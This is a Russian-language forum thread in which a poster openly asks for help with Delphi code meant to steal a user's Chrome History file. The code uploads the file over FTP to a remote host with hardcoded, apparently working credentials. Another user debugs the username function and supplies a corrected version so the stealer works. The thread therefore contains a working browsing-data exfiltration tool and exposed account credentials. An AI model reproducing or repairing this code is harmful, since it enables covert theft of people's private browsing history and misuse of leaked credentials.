хочу стырить файл History, но в директории указано имя пользователя, я разобрался как его узнать но при запуске вылетает ошибка - Cannon open file "C:/User/NN" проблема в том что не считывается следующая строка директории, вот код var sUserName: string; dwUserNameLen: DWORD; begin dwUserNameLen := cnMaxUserNameLen - 1; SetLength(sUserName, cnMaxUserNameLen); GetUserName(PChar(sUserName), dwUserNameLen); SetLength(sUserName, dwUserNameLen); Result := sUserName; end; begin idftp1.Host := 'vh68.timeweb.ru'; idftp1.Username := 'ci85785'; idftp1.Password := 'mRMfVuNYb254'; idftp1.Port := 21; idftp1.Connect(); idftp1.Passive := true; if idftp1.Connected = true then Memo1.Lines.Add('Подключение прошло успешно !'); //Memo1.Lines.Add('Load Файл ...'); idftp1.Put('C:\Users\' +(GetCurrentUserName) + '\AppData\Local\Google\Chrome\User Data\Default\History'); Memo1.Lines.Add('Файл успешно отправлен !'); end;
А ты молодец. И логин оставил и пароль от хостинга Рабочие, я проверил. Но в принципе там 0 рублей на счету так что... ============ Есть мнение что сначала ты должен директорию выбрать idftp1.ChangeDir('ляляля'); Хотя х/з. Delphi не юзаю т.ч. не могу сказать. ============ UPD: и кстати GetCurrentUserName возвращает все ок ? А то не видно у тебя в пути AppData\Local етц.
проблема в том что все ок шло, C:/User/NN правильно подошло, т.е. имя пользователя вставилось, а +'\AppData\Local\Google\Chrome\User Data\Default\History' не заходит, в ошибке не видно что такой путь вообще есть, глянь на ошибку которую я писал
Строчкой ниже можешь попробовать их добавить. Почему в той же строке не добавляется - тайна покрытая мраком Тут надо полный кодес чтобы самому дебугга запустить. ======= Ну типо S:string; <....> s:='C:\Users\' + (GetCurrentUserName()); s+='\AppData....' И кстати экранировать обратный слеш в Delphi не надо ? Не помню ====== Скинь функцию GetCurrentUserName.
private { Private declarations } public { Public declarations } end; var Form1: TForm1; implementation {$R *.dfm} procedure TForm1.FormCreate(Sender: TObject); function GetCurrentUserName: string; const cnMaxUserNameLen = 254; var sUserName: string; dwUserNameLen: DWORD; begin dwUserNameLen := cnMaxUserNameLen - 1; SetLength(sUserName, cnMaxUserNameLen); GetUserName(PChar(sUserName), dwUserNameLen); SetLength(sUserName, dwUserNameLen); Result := sUserName; end; var s: string; begin idftp1.Host := 'vh68.timeweb.ru'; idftp1.Username := 'ci85785'; idftp1.Password := 'mRMfVuNYb254'; idftp1.Port := 21; idftp1.Connect(); idftp1.Passive := true; if idftp1.Connected = true then Memo1.Lines.Add('Ïîäêëþ÷åíèå ïðîøëî óñïåøíî !'); Memo1.Lines.Add('Load Ôàéë ...'); s:='C:\Users\' + (GetCurrentUserName()); s := s + '\AppData\Local\Google\Chrome\User Data\Default\History'; idftp1.Put(s); Memo1.Lines.Add('Ôàéë óñïåøíî îòïðàâëåí !'); end; end.
Поменяй функцию GetCurrentUserName ибо она тебе просто #0 в конец добавляет. А для типа String #0 не считается признаком конца строки. Держи. Code: function GetCurrentUserName: string; const cnMaxUserNameLen = 254; var dwUserNameLen: DWORD; cUserName: PChar; begin dwUserNameLen := cnMaxUserNameLen - 1; GetUserName(cUserName, dwUserNameLen); Result := cUserName; end; =========================== Правда я не помню как с PChar работать, так что могут быть забавные траблы. Но в общем и целом проблема твоя в GetCurrentUserName. Смотри сам.
Есть вероятность что мой кодес затирает память. Проверить не на чем, но можно сделать вот как. У себя в коде просто исправь эту строчку (чтобы длина была на 1 меньше) и должно все ок работать: SetLength(sUserName, dwUserNameLen-1);
Ага. Так и есть. Лови. Это должно работать. Code: function GetCurrentUserName: string; const cnMaxUserNameLen = 254; var sUserName: string; dwUserNameLen: DWORD; begin dwUserNameLen := cnMaxUserNameLen - 1; SetLength(sUserName, cnMaxUserNameLen); GetUserName(PChar(sUserName), dwUserNameLen); SetLength(sUserName, dwUserNameLen-1); Result := sUserName; end;